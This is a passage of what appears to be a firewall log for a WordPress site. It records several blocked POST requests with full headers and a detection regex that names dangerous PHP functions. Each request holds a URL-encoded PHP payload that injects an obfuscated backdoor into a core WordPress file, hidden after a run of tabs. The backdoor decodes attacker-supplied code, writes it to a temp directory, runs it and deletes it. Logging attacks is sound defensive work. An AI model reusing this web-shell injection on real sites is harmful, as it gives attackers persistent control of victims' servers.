252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nwR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:50","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> di:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ndi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:52","192.3.12.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nRJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:41:54","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522